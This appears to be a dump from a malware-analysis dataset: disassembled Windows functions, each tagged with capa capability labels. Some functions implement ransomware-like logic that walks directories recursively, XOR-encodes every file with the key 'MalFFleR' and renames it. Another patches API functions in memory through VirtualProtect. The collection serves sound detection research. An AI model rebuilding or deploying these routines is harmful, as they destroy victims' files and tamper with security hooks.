joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400011f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x1220
call fcn.140002370
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1210], rax
mov rbx, rcx
mov r8, rcx
lea rcx, [rsp + 0xa40]
mov edx, 0x3e8
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [0x140003310]
mov edx, 0x3e8
lea rcx, [rsp + 0xa40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xa40]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
nop
movzx edx, word [rsp + 0x4c]
movzx ecx, word [rsp + 0x4e]
cmp dx, 0x2e
jne 0x14000128f
test cx, cx
je 0x140001386
cmp dx, dx
jne 0x14000128f
cmp cx, dx
jne 0x14000128f
cmp word [rsp + 0x50], 0
je 0x140001386
test byte [rsp + 0x20], 0x10
je 0x140001331
lea rdx, [rsp + 0x270]
mov rcx, rbx
sub rdx, rbx
nop dword [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1400012b0
lea rcx, [rsp + 0x270]
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x1400012d0
mov eax, dword [0x140003318]
mov dword [rcx], eax
lea rax, [rsp + 0x270]
sub rax, 2
nop
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x1400012f0
lea r8, [rsp + 0x4c]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [r8 + rdx*2]
mov word [rax + rdx*2], cx
lea rdx, [rdx + 1]
test cx, cx
jne 0x140001310
lea rcx, [rsp + 0x270]
call fcn.1400011f0
jmp 0x140001386
mov r8, rbx
lea rcx, [rsp + 0x270]
mov edx, 0x3e8
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [0x140003318]
mov edx, 0x3e8
lea rcx, [rsp + 0x270]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [rsp + 0x4c]
mov edx, 0x3e8
lea rcx, [rsp + 0x270]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x270]
call fcn.1400013d0
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140001260
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rsp + 0x1210]
xor rcx, rsp
call fcn.140001670
mov rbx, qword [rsp + 0x1238]
add rsp, 0x1220
pop rdi
ret
Function at 0x1400013d0
Capabilities:
Encode data using xor
Move file
Read file on windows
Write file on windows

Disassembly:
mov eax, 0xbcb8
call fcn.140002370
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xbc90], rax
mov qword [rsp + 0xbcc8], rbx
xor r9d, r9d
mov qword [rsp + 0xbcd0], rbp
xor r8d, r8d
mov qword [rsp + 0xbcd8], rsi
mov edx, 0x80000000
mov qword [rsp + 0xbcb0], rdi
mov rbx, rcx
mov qword [rsp + 0xbca8], r14
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov ebp, r14d
mov dword [rsp + 0x28], 0x80
mov esi, r14d
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x40], r14d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov rcx, rax
lea rdx, [rsp + 0x50]
mov r8d, 0x400
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000150e
mov qword [rsp + 0xbca0], r15
lea r15, [r14 - 1]
mov edx, dword [rsp + 0x40]
test edx, edx
je 0x1400014d7
add edx, esi
mov rcx, rbp
cmovb rdx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov ecx, esi
mov rbp, rax
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add esi, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov r8d, 0x400
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001483
mov r15, qword [rsp + 0xbca0]
test esi, esi
je 0x14000150e
mov rcx, rbp
mov r8d, esi
mov rdx, r14
lea r9, str.MalFFleR
mov rax, rdx
lea rcx, [rcx + 1]
and eax, 7
inc rdx
movzx eax, byte [rax + r9]
xor byte [rcx - 1], al
sub r8, 1
jne 0x1400014f3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov rcx, rax
mov r8d, esi
mov rdx, rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0xbca8]
lea rdx, [rsp + 0x2050]
mov rdi, qword [rsp + 0xbcb0]
sub rdx, rbx
mov rsi, qword [rsp + 0xbcd8]
mov rcx, rbx
mov rbp, qword [rsp + 0xbcd0]
nop word [rax + rax]
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x1400015a0
lea rcx, [rsp + 0x6e70]
sub rcx, rbx
nop dword [rax + rax]
movzx eax, word [rbx]
mov word [rcx + rbx], ax
lea rbx, [rbx + 2]
test ax, ax
jne 0x1400015c0
mov rbx, qword [rsp + 0xbcc8]
lea rcx, [rsp + 0x2050]
sub rcx, 2
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x1400015e4
movups xmm0, xmmword [str..MalFFleR]
mov eax, dword [0x140003330]
lea rdx, [rsp + 0x2050]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
lea rcx, [rsp + 0x6e70]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x140001625
lea rcx, str.Rename_successful._n
jmp 0x140001639
lea rcx, str.failed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea rcx, str.Rename_failed._n
call fcn.140001010
mov rcx, qword [rsp + 0xbc90]
xor rcx, rsp
call fcn.140001670
add rsp, 0xbcb8
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400405d0]
mov dword [rax], 1
mov rax, qword [0x1400405e0]
mov dword [rax], 1
mov rax, qword [0x1400405f0]
mov dword [rax], 1
mov rax, qword [0x1400405c0]
mov dword [rax], 1
mov rax, qword [0x140040410]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003554
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
lea rax, str.echoBinSafe
mov qword [rbp - 0x48], rax
lea rax, str.C:UsersShane.GallagherOneDrive___Stripe_OLT_Consulting_LtdDocumentsTools_nim_1.6.10lib_systemio.nim
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.nimFrame_3
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x40], 8
lea rax, [0x140039848]
mov qword [rbp - 0x38], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x40], 9
lea rax, [0x140039848]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x28]
jge 0x140003697
mov qword [rbp - 0x40], 0x332
lea rax, str.C:UsersShane.GallagherOneDrive___Stripe_OLT_Consulting_LtdDocumentsTools_nim_1.6.10lib_systemio.nim
mov qword [rbp - 0x38], rax
cmp qword [rbp - 8], 0
js 0x140003605
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x28]
jl 0x140003619
mov rax, qword [rbp + 0x28]
lea rdx, [rax - 1]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.raiseIndexError2
mov rax, qword [rbp - 8]
lea rdx, [rax*8]
mov rax, qword [rbp + 0x20]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rbx, qword [rax]
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.writeWindows__systemZio_205
mov qword [rbp - 0x40], 0xb
lea rax, [0x140039848]
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x58]
mov rax, qword [rbp - 8]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.nimAddInt_1
test al, al
je 0x14000368a
call sym.raiseOverflow
mov rax, qword [rbp - 0x58]
mov qword [rbp - 8], rax
jmp 0x1400035d3
nop
mov qword [rbp - 0x40], 0x338
lea rax, str.C:UsersShane.GallagherOneDrive___Stripe_OLT_Consulting_LtdDocumentsTools_nim_1.6.10lib_systemio.nim
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x18], 0
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 1
mov edx, 1
lea rax, [0x1400398ba]
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x40], 0x339
lea rax, str.C:UsersShane.GallagherOneDrive___Stripe_OLT_Consulting_LtdDocumentsTools_nim_1.6.10lib_systemio.nim
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x1c], 0
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
call sym.fflush
mov dword [rbp - 0x1c], eax
call sym.popFrame_3
nop
add rsp, 0x88
pop rbx
pop rbp
ret

Function at 0x1400054ac
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
cmp qword [rbp + 0x18], 0
je 0x1400054dc
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.nimCStrLen
mov rdx, rax
jmp 0x1400054e1
mov edx, 0
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x14000dd05
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14002d963
Capabilities:
Read file via mapping

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0x80000000
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp - 8], rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x18], rax
lea rax, [rbp - 0x18]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp - 8]
add rsp, 0x60
pop rbp
ret
Function at 0x14002da4e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov dword [rbp - 4], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
add rax, 0x3c
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x88]
mov dword [rbp - 0x1c], eax
mov edx, dword [rbp - 0x1c]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x14]
mov dword [rbp - 0x2c], eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x20]
mov dword [rbp - 0x30], eax
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x24]
mov dword [rbp - 0x3c], eax
mov edx, dword [rbp - 0x3c]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov dword [rbp - 0x4c], eax
mov edx, dword [rbp - 0x4c]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x58], rax
jmp 0x14002dbf3
mov eax, dword [rbp - 4]
lea rdx, [rax*4]
mov rax, qword [rbp - 0x38]
add rax, rdx
mov eax, dword [rax]
mov eax, eax
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x60]
add rax, rdx
mov qword [rbp - 0x68], rax
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x68]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14002dbef
mov eax, dword [rbp - 4]
lea rdx, [rax + rax]
mov rax, qword [rbp - 0x48]
add rax, rdx
movzx eax, word [rax]
mov word [rbp - 0x6a], ax
movzx eax, word [rbp - 0x6a]
lea rdx, [rax*4]
mov rax, qword [rbp - 0x58]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp - 0x70], eax
mov eax, dword [rbp - 0x70]
lea rdx, [rax + 4]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x78]
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 0x80]
mov eax, dword [rax]
mov dword [rbp - 0x84], eax
mov eax, dword [rbp - 0x84]
mov byte [rbp - 0x85], al
mov eax, dword [rbp - 0x84]
shr eax, 8
mov byte [rbp - 0x86], al
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x90], rax
movzx ecx, byte [rbp - 0x86]
movzx edx, byte [rbp - 0x85]
mov rax, qword [rbp - 0x90]
mov r8d, ecx
mov rcx, rax
call sym.PatchHook
jmp 0x14002dc03
add dword [rbp - 4], 1
mov eax, dword [rbp - 0x2c]
sub eax, 1
cmp dword [rbp - 4], eax
jb 0x14002db03
nop
nop
add rsp, 0xb0
pop rbp
ret
Function at 0x14002dc0d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov eax, edx
mov edx, r8d
mov byte [rbp + 0x18], al
mov eax, edx
mov byte [rbp + 0x20], al
mov dword [rbp - 4], 0xb
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov eax, dword [rbp - 4]
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp - 0x18], rax
movsx ecx, byte [rbp + 0x20]
movzx edx, byte [rbp + 0x18]
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, ecx
mov r8d, edx
lea rdx, [0x14003ede0]
mov rcx, rax
call sym.sprintf
mov edx, dword [rbp - 4]
lea rcx, [rbp - 0x1c]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, dword [rbp - 4]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp - 4]
lea rcx, [rbp - 0x1c]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
nop
add rsp, 0x50
pop rbp
ret

Function at 0x140030230
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140030e62
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14005da48]
test eax, eax
je 0x140030efa
lea rax, [0x14005da20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14005da50]
mov qword [rbp - 8], rax
jmp 0x140030ede
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140030ed2
cmp qword [rbp - 0x10], 0
je 0x140030ed2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140030e98
lea rax, [0x14005da20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140030efb
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140031000
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140031028
mov eax, 0
jmp 0x140031076
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140031051
mov eax, 0
jmp 0x140031076
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140031071
mov eax, 0
jmp 0x140031076
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14003107c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400310fa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400310f1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400310f1
mov rax, qword [rbp - 8]
jmp 0x14003110f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400310c4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140002d34
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002d7e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002d7e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002d7e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002d7e
cmp dword [rcx + 0x84], 0xe
jbe 0x140002d7e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002d80
xor al, al
add rsp, 0x28
ret
Function at 0x180019320
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
jmp 0x18001933e
mov rax, qword [rsp + 0x10]
inc rax
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x18]
cmp qword [rsp + 0x10], rax
je 0x180019388
mov rax, qword [rsp + 0x10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 8]
mov qword [rcx], rax
mov rax, qword [rsp + 8]
movabs rcx, 0x100000001b3
mov rax, qword [rax]
imul rax, rcx
mov rcx, qword [rsp + 8]
mov qword [rcx], rax
jmp 0x180019331
mov rax, qword [rsp + 8]
mov rax, qword [rax]
ret
Function at 0x18008c410
Capabilities:
Get file version info

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov dword [rsp + 0x28], 0
lea rax, [0x1800dfa48]
mov qword [rsp + 0x40], rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x18008c4fd
mov eax, dword [rsp + 0x20]
mov ecx, eax
call fcn.180004480
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x38]
call fcn.18000bcd0
nop
lea rcx, [rsp + 0x38]
call fcn.180017590
mov r9, rax
mov r8d, dword [rsp + 0x20]
xor edx, edx
mov rcx, qword [rsp + 0x40]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x18008c4f3
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x38]
call fcn.180017590
lea r9, [rsp + 0x24]
lea r8, [rsp + 0x30]
lea rdx, [0x1800dfab0]
mov rcx, rax
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x18008c4f3
cmp qword [rsp + 0x30], 0
je 0x18008c4f3
cmp dword [rsp + 0x24], 0
je 0x18008c4f3
mov dword [rsp + 0x2c], 0x60001
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x2c]
cmp dword [rax + 8], ecx
ja 0x18008c4f3
mov dword [rsp + 0x28], 1
lea rcx, [rsp + 0x38]
call fcn.18008bf90
mov eax, dword [rsp + 0x28]
add rsp, 0x68
ret

Function at 0x18009bf40
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
xor r8d, r8d
xor edx, edx
lea rcx, str.CPPAMP_ETW_VERBOSE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x18009bf5e
mov al, 1
jmp 0x18009bf60
xor al, al
add rsp, 0x28
ret
Function at 0x1400033d8
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r8d, 0x5c
xor edx, edx
mov rcx, qword [rsp + 0x30]
call fcn.1401426c0
mov rax, qword [rsp + 0x30]
mov dword [rax], 0x67452301
mov rax, qword [rsp + 0x30]
mov dword [rax + 4], 0xefcdab89
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 0x98badcfe
mov rax, qword [rsp + 0x30]
mov dword [rax + 0xc], 0x10325476
mov eax, 1
add rsp, 0x28
ret

Function at 0x140007ed0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov dword [rsp + 4], 0
mov dword [rsp], 0xffffffff
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
test eax, eax
je 0x140007f63
movsxd rax, dword [rsp + 4]
mov rcx, qword [rsp + 0x30]
movzx eax, byte [rcx + rax]
mov dword [rsp + 0xc], eax
mov eax, dword [rsp + 0xc]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov dword [rsp + 8], 7
jmp 0x140007f2e
mov eax, dword [rsp + 8]
dec eax
mov dword [rsp + 8], eax
cmp dword [rsp + 8], 0
jl 0x140007f57
mov eax, dword [rsp]
and eax, 1
neg eax
mov dword [rsp + 0x10], eax
mov eax, dword [rsp]
shr eax, 1
mov ecx, dword [rsp + 0x10]
and ecx, 0xedb88320
xor eax, ecx
mov dword [rsp], eax
jmp 0x140007f24
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
jmp 0x140007ee8
mov eax, dword [rsp]
not eax
add rsp, 0x28
ret